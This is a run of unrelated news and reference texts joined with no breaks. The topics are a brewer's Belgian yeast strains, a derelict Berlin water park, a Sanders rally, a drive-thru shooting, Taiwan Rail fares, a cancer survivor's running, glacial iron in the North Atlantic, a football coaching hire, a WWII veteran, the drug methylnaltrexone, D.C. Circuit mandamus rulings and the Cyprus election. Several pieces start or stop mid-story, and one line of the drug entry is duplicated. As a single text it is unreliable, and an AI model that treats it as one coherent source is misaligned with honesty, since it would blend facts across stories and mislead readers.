But this Chinese-speaking, concert French horn-playing brewer has a secret weapon to help him make waves in the ever-expanding Minneapolis beer scene. He’s culturing multiple strains of yeasts personally imported from breweries across Belgium.
The result is a quartet of traditional, bottle-conditioned, Belgian-style ales. Welch released his two core ales at Pig & Fiddle last Thursday, and as of this morning, it’s the only place with Boom Island Brewing on tap.
Silvius, a 5.5% ABV pale ale, delivers a crisp rush of apple and mild spice flavors. Malt and yeast mingle on the light finish, creating a clean, autumnal flavor where the hops take a backseat. Thoprock, on the other hand, is a burly, deep amber-colored IPA that smacks you right away with a distinctive hop and earthy spice flavor. A healthy dose of alcohol (it’s 8% ABV) rounds out its full-figured profile. Batches of a Dubbel and Tripel (named Hoodoo and Brimstone, respectively) are currently in the works.
Bottles of both Silvius and Thoprock will be available at Four Firkins on Monday, and more tap and retail accounts will be added shortly. We headed to Welch’s glorified home brew shack to learn more.
HEAVY TABLE: Tell us about the conception of Boom Island Brewing.
KEVIN WELCH: About five years ago we [Welch and his wife] lived in China and built a little one-and-a-half barrel home-brew setup. We traveled around, experimented with Tibetan spices and cool stuff. We came back and pursued the classical thing, playing with Minnesota Orchestra and St. Paul Chamber, while coming up with the plan for Boom Island. I’ve been a Belgian freak ever since I tried my first one, a Westmalle Tripel. We did two summers of travel around Belgium, visiting small family breweries, learning tricks and techniques.
HT: What is it about Belgian beers that really turned you on?
KW: I was a huge hophead, I mean, I still am. But when I had that first Tripel, it had all of these, what I learned later were, esters and great yeast flavors that come from the high fermentation temperature. I couldn’t put my finger on it at the time so I started studying them.
HT: You are, to my knowledge, one of the only commercial-scale breweries around here that cultures all of its own yeast.
KW: I have a good friend at the University of Minnesota who’s a microbiologist. He’s offered to take the slants and keep them under perfect laboratory conditions. I learned plating and slanting myself, and then I bounced a lot of ideas off of him.
HT: And how many unique strains do you have under culture?
KW: Thirteen. That was part of my trips, to go research which breweries were using which strains. It wasn’t always possible for me to grab some out of their primary fermenter, but when it was, I carried 25 autoclaved test tubes.
We were very happy to get them, including the one very special strain that you can’t get anywhere but at one monastery. That’s the secret for the Dubbel and Tripel. Without naming any specific names, that’s the special yeast. You can draw your own conclusions on where that is. [Editor’s note: It seems likely that the beer being alluded to here is the famous Westvleteren 12 of Belgium’s St. Sixtus Abbey.]
HT: Compared to the other brewery startups in town, your fermenters are tiny. You’re doing really small-batch stuff.
KW: On a weekly basis, we can do about 500 gallons running them simultaneously. But all the small batches will always go in this one – 100 gallon, two and a half barrels – that’s for the Thoprock, Dubbel, and Tripel. And those were intended to only be bottle-conditioned beers, but Mark [van Wie of Pig & Fiddle] was excited to get it going and asked for kegs of the two [Silvius and Thoprock]. The hoppy beer ended up selling better than the pale, so that’s when we decided to start doing big batches of Thoprock here and there to keg.
HT: How would you compare your IPA to everyone else’s around town?
KW: It’s hopped in a similar way, I don’t want to go completely in your face, which is more of a Belgian approach. The one notable difference is I do a candy sugar addition the same way I do the Dubbel. It brings the alcohol up to 8 percent. I heard a lot on Thursday, “This is great. I get the hops, and I don’t have to drink four of them.” It’s a Belgian way of getting the ABV up without thinning out the body.
And all the hops in the IPA through batch four will be grown right here in Minneapolis – Cascades and Centennials. I was talking to Omar [Ansari of Surly] and he said, “Really nice hop aroma on this. You mind me asking?” I said they’re Centennials. “I knew they were!” he said. “Where did you get them? Everyone’s sold out for the year!” Well, I grew them myself and for that aroma I’m going to stretch them as far as they can go.
HT: And what batch are you on now?
KW: Three. At some point I’m going to have to regroup and figure out the strategy like everyone else. I keep thinking I’m going to archive some of it, but hop aroma and flavor degrades by 50 percent over the course of a year. You have to drink hoppy beer fresh.
HT: Would you recommend laying down your Dubbel and Tripel when they come out?
KW: Yeah, those could lay down three years. The first few batches, we will archive those and release some as vintage.
HT: And you won’t be kegging them?
KW: The Dubbel and Tripel will only be bottle-conditioned and Four Firkins is likely the first place you’ll find them. But all the kegs are unfiltered too, which makes it living beer. In Belgium, it’s a big thing, if there’s not something in there growing, it’s not worth drinking.
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Would you swim in a place that cannot win a fight against rats? We wouldn’t and apparently, lots of people agree with us and Blub declared bankruptcy in the following year.
Harald Frisch, Blub’s owner, fought for a while and manage to keep the place open for a little longer with the sauna and the fitness center opened until there was no money left anymore. It was them that property developer Tobias Willmeroth bought the place and decided to turn the place into a holiday resort for families.
In 2011 his plans fell to the ground and he sold the area to a German investor group called H-Group. Their plan is to tear down the entire place and build more than 400 luxury apartments. Supposedly, construction starts in 2015 and then Blub will be gone forever. Harald Frisch still fights for his water park but nobody wants to swim in rat shit.
Presidential candidate Bernie Sanders expressed support for telling the "billionaire class" to "f**k off" at a rally in Indiana on Monday morning.
"I think that when the top one-10th of 1 percent now owns almost as much wealth as the bottom 90 percent, we got some other choices that we can make," Sanders declared in his speech, the Hill reported.
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"And I think that choice is to tell the billionaire class and the corporations—" Sanders continued, before pausing when a man in the audience yelled out an unexpected end to his sentence: "to f**k off!"
Sanders smiled and replied, "Well, that is one way to phrase it."
The audience cheered as he beamed.
"I myself am constrained. I can’t quite phrase it like that — but that’s not bad," Sanders joked.
"You get to the point very succinctly; I like it," added the self-declared democratic socialist and longtime independent Vermont senator.
"I will not repeat what the gentleman just said," Sanders said. "But it’s something with eff off,” he hinted with a smile.
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You can watch the moment below:
The ruling class to which Sanders refers has more wealth than at any time in history. As Salon has reported before, the richest 0.1 percent of Americans have almost as much wealth as the bottom 90 percent.
In other words, 160,000 families have as much money as around 290 million Americans.
Globally, inequality is even more extreme. The richest 1 percent is estimated to have more wealth than 99 percent of the people on the planet.
That is to say, 7.23 billion human beings have less wealth than 70 million.
Meanwhile, income inequality is at the highest it has been since 1928 — the eve of the Great Depression — and only continues to grow.
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Approximately 15 percent of Americans live in poverty — nearly 50 million people. Nearly one in every four American children suffers from poverty. Among black and Latina/o Americans, the economic struggle is even more severe.
Grand Rapids, Michigan - One woman takes her bacon pretty seriously according to officials in one Michigan town.
Shaneka Torres was found guilty on Wednesday for firing a shot through a McDonald's drive-thru window after she did not get the bacon she requested on her burger.
According to fox17online.com, Torres was in the passenger seat of the vehicle. She ordered a burger with bacon but she was given one without instead.
Her lawyers say she was in a good mood and the shooting was an accident. They say she even gave one of the McDonald's employees her phone number.
The prosecution argued that this was not the case. They say it was no accident and Torres became angry with employees when her food order was incorrect.
She is facing up to seven years behind bars.
The suggestion is part of MOTC proposal to change Taiwan Rail ticket pricing system by charging different rates for various rail routes, and introduce new compartment rates.
As part of the new rail infrastructure upgrade, the MOTC is considering amending the Railway Act, and charge ticket prices based on operation costs and rail functions, said Ho Chen.
Taiwan Rail trains ticket prices have remained stagnant for 20 years made the rail line rather unprofitable, ticket prices reach nearly only 50 percent of operation costs, said Ho Chen.
The High Speed Rail for instance charges NT$4.39 (US$0.14) per kilometer (km), but the Taiwan Rail’s fastest train Tze-Chiang Limited Express (自強號) charges nearly half the rate of NT$2.27 per km.
The current Taiwan Rail pricing scheme is inflexible where the express train is charged a single price depending on the distance it covers.
It was a rare occurrence that Taiwan Rail reported its first profitable fiscal year in 2016, due to fewer retiring employees resulting in lowered pension payments, reduced debt, and better management of its urban commuting lines, explained the minister.
The ministry is evaluating whether to make new price adjustments in Taiwan Rail pricing system in the next three months, and said price hikes would be gradual for common commuters of the rail line.
The minister recommended Taiwan Rail introduce business and tourism compartments that will be charged more expensive rates than average compartments.
The ministry is also considering to make international visitors pay a premium ticket price compared to domestic passengers if they take tourism rail lines that pass through Jiji (集集)Train Station in Nantou County, Pingxi (平溪) in New Taipei City, or Neiwan (內灣) Line and other branch lines.
Other routes included in MOTC tourist route assessments include the Eastern Line and South-link Line.
The Tsai Administration approved a stimulus of around NT$424 billion for some 38 rail infrastructure projects on March 24, 2017 that takes up nearly half of the NT$880 billion to be set aside to update important country infrastructures.
Rail infrastructures are expensive to construct, most metro rail system pricing is based on costs.
If rail lines are to be viewed as a public infrastructure and public service by the people, who are demanding to decrease price differences among different rail systems, then the ministry might consider subsidizing light rail lines and metro lines in the future, said Ho Chen.
The MOTC and Taiwan’s local governments should discuss how to price different rail lines in accordance to its function.
He took convincing but for Jenny it became a key weapon in her cancer fight.
6 Jenny Baker told her cancer specialist she wanted to run the seven-mile trip to each chemotherapy appointment
Running along the Thames from her West London home to appointments, Jenny also did 5k races at weekends — and a half marathon just six weeks after her radio- therapy ended.
Today she runs the London Marathon to celebrate getting the all-clear.
Jenny, who ran a total of 853 miles with cancer, says: “Through all that treatment I kept running. It was a way to hold on to my identity when I was losing everything, and helped me get myself back once the treatment was over.
6 For brave Jenny, pictured second left, running became a key weapon in her cancer fight
“London will be my first full marathon since my diagnosis. I can’t wait.”
The youth charity worker found a lump in her breast two years ago, just as she was about to mark her 50th birthday by running FIVE marathons.
At first Jenny put off ­seeking treatment. When she finally went to Ealing ­Hospital, she got the ­diagnosis all women dread.
After breaking the awful news to husband Jonny, 52, a trainer for a charity, and sons Joel, 27, and Harry, 25, Jenny struggled to cope.
6 Today Jenny, pictured above with husband Jonny, runs the London Marathon to celebrate getting the all-clear
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6 Youth charity worker Jenny found a lump in her breast two years ago, just as she was about to mark her 50th birthday by running five marathons
She says: “I was fit, I’d only smoked the odd cigarette, exercised regularly, ate healthily . . . how could I have cancer when I’d cycle 50 miles at the weekend and run to work in the week?”
She underwent chemo to shrink the tumour before having a full mastectomy.
Radiotherapy and hormone therapy followed.
Collect 6 Following chemo and a mastectomy, Jenny, pictured above with pal Jon, was given the green light for anything short of full marathons
Now Jenny recalls: “After treatment started, I splashed in puddles and squelched through mud. I felt alive, alert and slightly in awe of my body. I asked my consultant if I could run to my chemotherapy sessions. Nobody had ever asked him that before.”
Jenny was given the green light for anything short of full marathons.
She says: “I made sure I didn’t go more than a couple of days without running.
“Just as the oncologist ­prescribed drugs to target the cancer, I prescribed myself running. Plus there is a clear link between running and better mental health.”
Collect 6 'Running helped me hold on to my identity' says Jenny, pictured above with her family, 'And it gave me something to focus on through the long months of treatment'
Last April, after treatment had ended, Jenny ran a half- marathon in Palestine — “an emotional run”, she says.
She adds: “I am fortunate the cancer was caught before it had spread too far.
“Running helped me hold on to my identity and give me something to focus on through the long months of treatment.”
March 10, 2013 All living organisms rely on iron as an essential nutrient. In the ocean, iron’s abundance or scarcity means all the difference as it fuels the growth of plankton, the base of the ocean’s food web.
A new study by biogeochemists and glaciologists at Woods Hole Oceanographic Institution (WHOI) identifies a unexpectedly large source of iron to the North Atlantic – meltwater from glaciers and ice sheets, which may stimulate plankton growth during spring and summer. This source is likely to increase as melting of the Greenland ice sheet escalates under a warming climate.
The study was published online in Nature Geoscience on March 10, 2013.
“There’s only been one other study looking at the amount of iron that’s being released in meltwater runoff itself,” says Maya Bhatia, a graduate of the MIT/WHOI Joint Program in Oceanography and Applied Ocean Sciences and Engineering, and the study’s lead author, “and that had reported high nanomolar concentrations. So to find iron in concentrations several orders of magnitude higher – in the micromolar range – was very surprising.”
Iron from wind-blown dust and river runoff fuels annual plankton blooms in the world’s ocean. Ice sheets and glaciers are now also thought to contribute iron from sediments on the bottom of calved icebergs and glacially-derived dust. Until now, meltwater runoff from glaciers and ice sheets was considered too dilute to carry much iron, although previous research has shown a strong correlation between the plankton blooms and the runoff from Greenland ice sheet.
“Glacial runoff has only recently been considered a potentially important source of nutrients that are useable, or bioavailable, to downstream ecosystems,” says Bhatia. “We believe our study now adds iron to that list of nutrients, and underscores the potential for a unique but as-yet-undetermined chemical impact from increasing ice sheet meltwater runoff.”
During the course of two expeditions to the Greenland ice sheet in May and July 2008, Bhatia and her colleagues collected samples from sites at several land-terminating glaciers on the western side of the Greenland ice sheet. The glaciers’ meltwater empties into a large lake, which eventually drains into an estuary system before reaching the open ocean. Their study reports levels of dissolved iron orders of magnitude higher than previously found for Greenland glacial runoff rivers. When the WHOI team extrapolated their findings to calculate the contribution of iron from the entire ice sheet, they estimated its value to be within the range of that from dust deposition in the North Atlantic, which is believed to be the primary source of bioavailable iron to this ocean. This value is only an order of magnitude lower than the estimated annual contribution of iron from rivers worldwide.
When an ice sheet or glacier melts, most of the water doesn’t simply run off the surface of the ice sheet. Instead it first drains to the bedrock below the ice sheet through cracks and conduits called moulins and then exits in large runoff rivers.
“A lot of people think of a glacier and an ice sheet as a big block of ice,” says Bhatia, “but it’s actually quite a porous, complicated system underneath a glacier, with lots of moulins and crevasses leading to the bottom. Once you get into the bottom, there are large tunnels that these waters are passing through.” The more time the water spends in contact with the bedrock and sediments beneath the glacier, the more nutrients it picks up, including iron.
The WHOI team says further research is needed to determine how much of this iron actually reaches the open ocean, as their study followed the meltwater from the edge of the glaciers to the large lake they empty into. For this study, the team assumed that the amount of iron filtered out as the water moves through estuaries before reaching the marine environment would be roughly the same for glacial systems as it is for river systems.
The researchers hope to do more work to confirm the study’s numbers by sampling over a larger geographical area. Additional research could also confirm whether this influx of iron is in a form that can be easily utilized by phytoplankton and therefore stimulates primary production in the ocean.
“We don’t have enough historical measurements to say that this iron contribution is an increase over past conditions, but if it is working the way we think it is, the contribution would be greater as meltwater discharge increases,” Bhatia says. “It is interesting to think that, as ice sheets melt, there are biogeochemical considerations beyond changing sea level.”
Maya Bhatia is currently a postdoctoral fellow in the Department of Microbiology and Immunology at the University of British Columbia in Vancouver, BC, Canada. Her co-authors include Elizabeth B. Kujawinski, Department of Marine Chemistry and Geochemistry; Sarah B. Das, Department of Geology and Geophysics; Crystaline F. Breier, Department of Marine Chemistry and Geochemistry; Paul Henderson, Department of Marine Chemistry and Geochemistry; and Matthew A. Charette, Department of Marine Chemistry and Geochemistry, all of WHOI.
There, he was introduced as the Los Angeles Chargers’ head coach at an 11:30 a.m. news conference. Three men spoke before him, the last of whom was General Manager Tom Telesco.
Then, it was Lynn’s turn.
“Good afternoon,” he said. “I am so proud to be the head coach of the San Diego ... uh, L.A. Chargers. Oops.”
Forgive him.
This is an adjustment period for everyone.
Lynn rebounded smoothly in his first public appearance with the Chargers, displaying what several in the organization have characterized as a “presence” about him. He lauded the opportunity that awaits and the chance to win this season. But plenty of work comes first, beginning with the completion of his coaching staff.
One thing was certain Tuesday.
Lynn did not lack for excitement.
“I think we have the opportunity to start fast,” Lynn, 48, said. “This is not a rebuilding project. This is not a two-year transition. This is long term, baby. We have a very talented roster. I like the cornerstone pieces we have and can build a championship program around.
“We’re looking forward to showing you guys how fun it’s going to be to watch this football team, how this football team is going to be physical, how this football team is going to play disciplined, not turn the ball over and win football games and not lose (them). I can’t wait to get started.”
He’ll start with hiring coaches.
Lynn confirmed that Ken Whisenhunt will stay on as offensive coordinator. As for the other side of the ball, the Chargers are in continued talks with former Jaguars head coach Gus Bradley to become defensive coordinator, the team looking to replace John Pagano in the role. There is hope to hire Bradley this week, although the team has other candidates prepared should Bradley choose another direction.
On Thursday and Friday, Lynn will interview candidates for a strength and conditioning coach and special teams coordinator. Kent Johnston and Craig Aukerman are being replaced, respectively. This notably comes following a season mired by injuries and poor special teams play.
Lynn already has identified Pat Meyer as his offensive line coach. The two worked together in Buffalo, so they share an understanding of certain blocking concepts that Lynn will look to apply. Interviews for other positions are expected to continue this month at the Senior Bowl in Mobile, Ala.
Of the six NFL head coach vacancies this offseason, Lynn said he “thought this was the best out there.”
His candidacy was a late development.
The Chargers gathered intelligence that Lynn would be promoted from Bills offensive coordinator and interim head coach to Buffalo’s full-time head coach a day or two after the 2016 season. “And that was from really good sources,” Telesco said.
But a few days passed, and Lynn was still available.
By then, the Chargers already had planned other interviews, so he became the sixth and final candidate with whom they met. The interview lasted six hours in San Diego, after which President of Football Operations John Spanos said he knew the team had found its next head coach.
“I know one of the things that jumped out to me was his leadership,” said Spanos, who had the final call on the hire. “We talked a lot about what that means to really be a great leader; what traits do you need? I think it’s having the ability to communicate and really connect with all the players on the team. I know Coach Lynn can do that. He’s been a former player himself. … He’s won two Super Bowls. He knows what it takes.”
Running back Danny Woodhead supported that notion.
As a player, Lynn spent six seasons as a running back for the Broncos and 49ers in the ’90s, playing mainly as a reserve. As a coach, he spent 13-plus seasons as a running backs coach, including an overlap in 2008 and 2009 with Woodhead for the New York Jets.
Woodhead missed his 2007 rookie season with a torn anterior cruciate ligament, so Lynn effectively guided him through his first two seasons on the field.
“I thought he was a really good leader of the room,” Woodhead said in a Tuesday phone interview. “We had some guys in there, too — Thomas Jones, Tony Richardson, Leon Washington — guys who were proven names, and he still led the room really well. … I think the guys respected him. I respected him. He was just someone you could trust, and I think that goes a long way.”
michael.gehlken@sduniontribune.com
Richard Overton was born May 11, 1906 in Bastrop County. When he came of age, he served in the Pacific Theater from 1942 to 1945 as part of the all-black 1887th Engineer Aviation Battalion. After the war, he returned to Austin, and he has lived in the same home ever since.
While he has been honored by sitting presidents, governors and other global dignitaries for his distinguished service, most days he can be found sitting on his front porch proudly wearing his WWII Veteran baseball hat holding a cigar.
LOUISIANA VETERAN AND DAUGHTER TO GRADUATE FROM UNIVERSITY TOGETHER
He gives credit to God for his longevity and continues to attend church, but he's got a few tricks up his sleeve, too.
"I've been smoking cigars from when I was 18 years old, I'm still a smoking them, 12 a day," Overton joked in 2014.
Overton has some health scares over the past few years, but family members have found ways to help him stay in his home of over 70 years. Earlier this year, a GoFundMe account was set up for the former Marine to help him stay in his home. The account raised hundreds of thousands of dollars and will help to pay for an in-home senior care provider.
Medical uses [ edit ]
Methylnaltrexone is approved for the treatment of opioid-induced constipation (OIC). It is generally only to be used when ordinary laxatives have failed.
Mechanism of action [ edit ]
Methylnaltrexone binds to the same receptors as opioid analgesics such as morphine, but it acts as an antagonist, blocking the effects of those analgesics, specifically the constipating effects on the gastrointestinal tract. Furthermore, as methylnaltrexone cannot cross the blood–brain barrier, it does not reverse the pain-killing properties of opioid agonists or cause withdrawal symptoms. Methylnaltrexone is unable to enter the brain primarily because it carries a positive charge on its nitrogen atom. This is the primary difference that makes methylnaltrexone behave differently from naltrexone.[3]
History [ edit ]
In 1978 a colleague presented Leon Goldberg with a clinical challenge. One of his patients, struggling with the pain of prostatic cancer that had metastasized to his bones, was now declining the morphine he required for analgesia because of constipation. Research on opioids which would target only the sub-types of receptors associated with pain relief and not with side effects had seen little success outside of in-vitro models. Considering drugs such as loperamide, which acted on the opioid receptors in the gut without acting on the central nervous system, Goldberg proposed a targeted opioid receptor antagonist.
Thousands of opioid-like molecules had been synthesized by pharmaceutical companies looking for the better analgesic - and many of those with no pain relieving properties had been shelved. Screening these compounds led to the examination of putative antagonists which when modified had properties that suggested they might not readily cross the blood–brain barrier based on their size and charge. One of these compounds, N-methyl-naltrexone (MNTX), was amongst a group of compounds synthesized by Boehringer Ingelheim.[4] The compound looked promising and passed initial screening in which rodents were given opioids along with charcoal meals to track GI transit, and were tested for analgesia.[5] In a 1982 paper by Russell et al., it was first reported that the GI effects of the opioids could be prevented without affecting centrally mediated analgesia in this model.[6] Subsequent preclinical studies also demonstrated this separation of central and peripherally mediated opioid effects for other smooth muscles of the GI tract and the cough reflex.[7][8] Interest also developed in the potential for MNTX to act at the chemoreceptor trigger zone and block the emetic effect of opioids. This blockade of opioid-induced emesis was demonstrated in a canine model.[9][10] Goldberg died before he could see the core of this idea come into clinical practice.
Research on methylnaltrexone continued in the Department of Anesthesiology and Critical Care at the University of Chicago through the 1990s. More recent investigations, however, discovered opioid receptors on peripheral sensory neurons.[11] Since inflammatory pain is blunted by endogenous opioid peptides activating such peripheral opioid receptors,[12] MNTX may increase pain under such circumstances.
In December 2005, Wyeth and Progenics entered into an exclusive, worldwide agreement for the joint development and commercialization of methylnaltrexone for the treatment of opioid-induced side effects, including constipation and post-operative ileus (POI), a prolonged dysfunction of the gastrointestinal tract following surgery. Under the terms of the agreement, the companies are collaborating on worldwide development. Wyeth received worldwide rights to commercialize methylnaltrexone, and Progenics retained an option to co-promote the product in the United States. Wyeth will pay Progenics royalties on worldwide sales and co-promotion fees within the United States.
Methylnaltrexone is being developed in subcutaneous and oral forms to treat opioid induced constipation (OIC).
The use of methylnaltrexone (Relistor) for more than 4 months has not been studied.[13]
Society and culture [ edit ]
Approval [ edit ]
On April 1, 2008, Progenics and Wyeth announced that Health Canada has approved methylnaltrexone for the treatment of opioid induced constipation.[14] It was later approved by the US FDA on April 24, 2008.[15][16]
Forms [ edit ]
As of 2010, methylnaltrexone is supplied as an injection in trays containing seven one dose vials containing 0.6 mL of solution. Each tray also contains seven 12 mm (0.47 in) 1 mL 27 gauge needles with retractable tips, and alcohol wipes for home use. A single vial can treat someone who weighs as much as 115 kilograms (254 lb).[3] For hospital use, vials are available separately.
See also [ edit ]
Loperamide - an Mu-opioid receptor agonist that doesn't cross the BBB in significant amounts, and treats diarrhea (in contrast to methynaltrexone, a Mu-opioid receptor antagonist that doesn't cross the BBB, avoiding opiate withdrawal effects in patients, while treating constipation)
that doesn't cross the BBB in significant amounts, and treats diarrhea (in contrast to methynaltrexone, a Mu-opioid receptor that doesn't cross the BBB, avoiding opiate withdrawal effects in patients, while treating constipation) (+)-Naloxone - a non-opioid drug which also reduces some side effects of opioids without significantly affecting analgesia when used in small oral doses
6β-Naltrexol (6α-hydroxynaltrexone) - another naltrexone derivative that is also a peripherally selective opioid antagonist
But Mohammad is just one of a string of mandamus petitions arising out of the Guantánamo trials—which have generally raised structural questions like the one presented in Mohammad rather than trial-specific factual or legal issues. Indeed, Mohammad is the fourth such case to be argued before the D.C. Circuit in the past two years, and a fifth (also, unhelpfully, named In re Mohammad) may be right on its tail; just last week, a different D.C. Circuit panel (Millett, Pillard and Wilkins, JJ.) ordered the government to respond to that petition (which raises a different question about the eligibility of the CMCR judges who heard the interlocutory appeal in the 9/11 case) by the end of August, setting up a potential September argument.
The D.C. Circuit’s approach to these petitions, at least thus far, has been to (1) assert jurisdiction over them; (2) deny them because they’ve each presented merits questions of first impression; and (3) offer at least some hints as to how they think the merits questions should be resolved if and when they are reached. As I explain in the post that follows, this approach strikes me as deeply flawed for two different—and independent—reasons. First, it cannot be correct that mandamus relief is never available on a question of first impression, especially where, as in these cases, the writ is being sought to confine a lower court to the proper exercise of its jurisdiction. If it really is clear that the lower court acted without jurisdiction (perhaps, as in Mohammad, because of the participation of an ineligible judge), then mandamus should be available even if no court has previously so held on the same facts.
Second, and perhaps more importantly, by asserting jurisdiction and purporting to express a view on the merits without actually deciding those merits, the Court of Appeals is embracing a form of the “passive-aggressive virtues” that I’ve elsewhere suggested the Supreme Court has adopted in much of its post-September 11 jurisprudence in terrorism-related cases—and that’s not a good thing.
I. The Military Commission Mandamus Cases
The fountainhead for the current run of military commission mandamus cases was In re al-Nashiri (“al-Nashiri I”), which the D.C. Circuit decided in June 2015. In al-Nashiri I, the issue was whether the CMCR’s judges were “principal” Executive Branch officers for purposes of the Constitution’s Appointments Clause, and could therefore only be appointed by the President with the advice and consent of the Senate. (At that time, several CMCR judges had been “assigned” to the CMCR by the Secretary of Defense.) After holding that the Court of Appeals had jurisdiction to issue a writ of mandamus directed to the CMCR (a matter that had been in some dispute), Judge Henderson (writing for herself and Judges Rogers and Pillard) articulated the standard of review as follows:
We do not resolve these open questions today. What matters for Nashiri’s petition is that they are just that—open. Legal aporias are the antithesis of the “clear and indisputable” right needed for mandamus relief. See NetCoalition v. SEC, 715 F.3d 342, 354 (D.C. Cir. 2013) (right to mandamus not clear and indisputable in absence of “ bind[ing]” precedent); Republic of Venezuela, 287 F.3d at 199 (petitioners did “not come close” to showing clear and indisputable right because they “identif[ied] no precedent of this court or of the Supreme Court” on point). Even if we ultimately agreed with Nashiri on the merits, mandamus would not lie because the answer was hardly “clear” ex ante. See In re Kellogg, Brown & Root, Inc., 756 F.3d 754, 762 (D.C. Cir. 2014) (“[A]n erroneous district court ruling on an ... issue by itself does not justify mandamus. The error has to be clear.”).
Note the subtle but crucial distinction doing all of the work here: To be entitled to mandamus, a petitioner must show that his right to relief is “clear and indisputable.” That’s well settled in the D.C. Circuit (and everywhere else, for that matter). But the Court of Appeals then concludes (whether because it was bound by prior precedent or not) that a right to relief can only be “clear and indisputable” when it can be grounded in a binding prior precedent—much like the standard for showing a violation of clearly established law in post-conviction habeas cases or damages suits against government officers. Not surprisingly, no court had ever considered the constitutional status of CMCR judges, so Nashiri could not meet the D.C. Circuit’s mandamus burden.
But rather than conclude the matter there, the panel kept going:
Once this opinion issues, the President and the Senate could decide to put to rest any Appointments Clause questions regarding the CMCR’s military judges. They could do so by re-nominating and re-confirming the military judges to be CMCR judges. Taking these steps—whether or not they are constitutionally required—would answer any Appointments Clause challenge to the CMCR.
This wasn’t a holding, of course. But the Executive Branch did exactly that—responding to al-Nashiri I by formally nominating the military judges who had already been “assigned” to the CMCR for “appointment” by the President with the advice and consent of the Senate. Indeed, every judge named to the CMCR since al-Nashiri I has been so nominated and confirmed.
The next mandamus case to reach the D.C. Circuit also challenged CMCR judges. This time, in In re Khadr, the question was whether that court’s civilian judges were violating a federal statute, 18 U.S.C. § 203(a), which prohibited the part-time practice of law by government officers (like CMCR judges) without express congressional authorization. In its May 2016 ruling, the Court of Appeals once again asserted jurisdiction, flagged the novelty of the issue, and therefore denied the petition. And once again, it still expressed a view on the merits:
Although we deny the writ, we cannot deny that Khadr has raised some significant questions. We encourage Congress and the Executive Branch to promptly attend to those issues and to make clear, one way or the other, whether the civilians who serve as judges on the U.S. Court of Military Commissions Review may continue to engage in the part-time practice of law and, if so, the circumstances under which they may do so.
Unlike in al-Nashiri I, there’s no evidence that the political branches have similarly responded to this bit of judicial encouragement.
Finally, in al-Nashiri II, the Court of Appeals in August 2016 turned away a challenge to the jurisdiction of the military commissions over pre-9/11 offenses, even though the Military Commissions Act itself appears to require charged offenses to take place during a “conflict subject to the laws of war.” Although the panel divided over whether the district court could hear Nashiri’s habeas petition raising such a claim (a matter I discussed at some length after the ruling), it was unanimous that mandamus was not appropriate—again, because of the high bar to relief coupled with the novelty of the questions presented. Heading into Wednesday’s argument in Mohammad, then, it’s hard to imagine that history won’t just repeat itself—with the Court of Appeals denying the petition on the ground that there’s no clear law about when recusal by a CMCR judge based on pre-appointment statements is required, but perhaps giving credence to its merits in the process. Recusal, of course, might be different, since there’s plenty of case law on the specific legal subject in other factual contexts. But given the Court of Appeals’ track record to date, it’s easy to see them ducking this issue, as well.
II. The Two Problems With the D.C. Circuit’s Passive-Aggressive Approach
Hopefully, it is obvious by this point that the D.C. Circuit’s “clearly established” approach to mandamus is causing most of the mischief here. It’s also normatively (and doctrinally) indefensible. Yes, using mandamus as a mechanism for pursuing an otherwise unavailable interlocutory appeal is supposed to be more difficult than the normal, de novo review that follows a final judgment. But there’s a chasm between “more difficult” and “clearly established,” and the military commissions help to illustrate that point: Many of the legal questions arising out of the commissions are of first impression. And the CMCR itself is a novelty; before 2005, there had never been any kind of appellate process in military commissions, and so just about every question about the CMCR itself is, necessarily, one on which there is no binding precedent.
But novelty is not categorically antithetical to mandamus. Novel errors and/or jurisdictional defects can be just as “clear and indisputable” as errors that have previously been addressed in binding precedent. And al-Nashiri I is a good example of this; it’s more than a little difficult to read Justice Scalia’s opinion for a unanimous Court in Edmond v. United States (1997) and conclude anything other than that CMCR judges are principal Executive Branch officers. If mandamus in this context is about confining lower courts to the proper exercise of their jurisdiction, then even if the review is more deferential than “de novo,” it surely is not as deferential as the D.C. Circuit has held. And if the D.C. Circuit can’t answer any of these novel questions through mandamus (or, thanks to the holding in al-Nashiri II, habeas), then the only other vehicle through which they can be resolved is through post-conviction appeals—appeals that are years away, and that, if meritorious, could come at an unfathomable cost to the parties and the courts in terms of resources and money needlessly expended.
All of that goes to why the D.C. Circuit ought to clean up its mandamus jurisprudence—or if it won’t, why the Supreme Court should do so. (Indeed, one of the questions presented in the pending cert. petition in al-Nashiri II is whether the mandamus standard is inappropriately high.) But even if folks disagree (or just can’t get exercised) about the burden of proof on mandamus, it’s worth reflecting a bit on the non-binding “pronouncements” that have accompanied most of these decisions. In a post that followed on the heels of Khadr, Bob Loeb and Helen Klein Murillo referred to these snippets as “advice from the D.C. Circuit.” That’s a fair description, but color me more skeptical of their utility than that post’s authors.
To understand the problem, consider the issue the Court “ducked” in al-Nashiri I, i.e., whether CMCR judges are principal Executive Branch officers (with the concomitant implications for their appointment). As noted above, the political branches responded to the decision by mooting that particular issue—taking all of the thus-far “assigned” CMCR judges and formally “appointing” them. But in the process, they actually caused a different problem, since the appointment (as opposed to assignment) of active-duty military officers to civil offices (which may include judgeships on the Article I CMCR) is prohibited unless specifically authorized by law.
In addition to a number of court-martial appeals raising the issue (in which I’m counsel of record on cert. petitions currently pending before the Supreme Court), the issue has arisen in the CMCR—which ruled in June that there was no problem with the service of military officers as judges on the CMCR largely because they had initially been assigned, not appointed, thereto. In other words, the CMCR, which is directly bound by the D.C. Circuit, wholly ignored both the hint at the end of the D.C. Circuit’s decision in al-Nashiri I and the steps the government took in response thereto—and rested its decision on the very conclusion that had provoked the mandamus petition in al-Nashiri I, i.e., that the military judges on the CMCR had duly been assigned thereto without complying with the Appointments Clause. This ruling is now back up in the D.C. Circuit (in the second Mohammad case I described above)—and yes, it’s back up on a petition for a writ of mandamus, although here, at least, the direct appeals arising out of the court-martial system may beat the D.C. Circuit to the punch.
If you’re still reading (and don’t have a crippling mandamus headache), what I’ve just described is a variation on a theme I wrote about in 2011 with regard to the Supreme Court’s jurisprudence in post-9/11 terrorism-related cases—where the Court routinely asserted its authority, occasionally hinted at its views on the merits, but otherwise left the merits to be resolved by the political branches and/or the lower courts. Although this approach has obvious upsides from the perspective of the judges and Justices who employ it, it has downsides for almost everyone else, leaving specific legal questions unsettled while changing, in at least some respects, the terms on which subsequent litigation of those issues takes place.
People in the Republic of Cyprus have begun voting for a new president.
Centre-right leader Nicos Anastasiades has a 15-point lead in the polls over his main rival, leftist Stavros Malas.
However, Mr Anastasiades is not predicted to win more than 50% of the vote, which would be required to avoid a run-off vote on 24 February.
The election has been dominated by the global financial crisis. In June, Cyprus became the fifth member of the eurozone to request a bailout.
